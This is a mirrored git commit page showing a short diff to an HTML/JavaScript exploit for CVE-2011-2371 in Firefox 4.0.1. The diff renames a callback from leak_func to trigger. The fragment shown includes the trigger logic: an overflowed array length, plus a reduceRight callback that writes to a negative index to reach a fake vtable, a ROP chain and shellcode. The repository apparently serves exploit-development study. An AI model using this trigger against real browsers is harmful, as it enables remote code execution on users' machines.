mirror of
https://github.com/VoidSec/Exploit-Development
synced 2026-06-08 12:50:18 +00:00
Update Firefox_v.4.0.1-CVE-2011-2371_exploit.html
This commit is contained in:
+2
-2
@@ -234,12 +234,12 @@
|
||||
console.log("[>] Triggering the reduceRight method on array1 to execute code");
|
||||
alert("Press 'OK' to pop calc");
|
||||
array1.length = 0x9FFFFFFF + 1; // offset used to "reach" the fake JavaScript object
|
||||
var leak_func = function func(prev, current, index, array) {
|
||||
var trigger = function func(prev, current, index, array) {
|
||||
current[-245] = 1; // trigger the setElem function; will go to the fake vtable, transfer code execution to the setElem ptr which in turn will execute the stack to heap gadget; then the execution flow will proceed with the ROP chain and the shellcode execution
|
||||
throw "halt"; // used to stop the SpiderMonkey engine to run "forever" as we have a negative array length
|
||||
}
|
||||
try {
|
||||
array1.reduceRight(leak_func, 1, 2, 3);
|
||||
array1.reduceRight(trigger, 1, 2, 3);
|
||||
} catch (e) {
|
||||
}
|
||||
</script>
|
||||
|
||||
Reference in New Issue
Block a user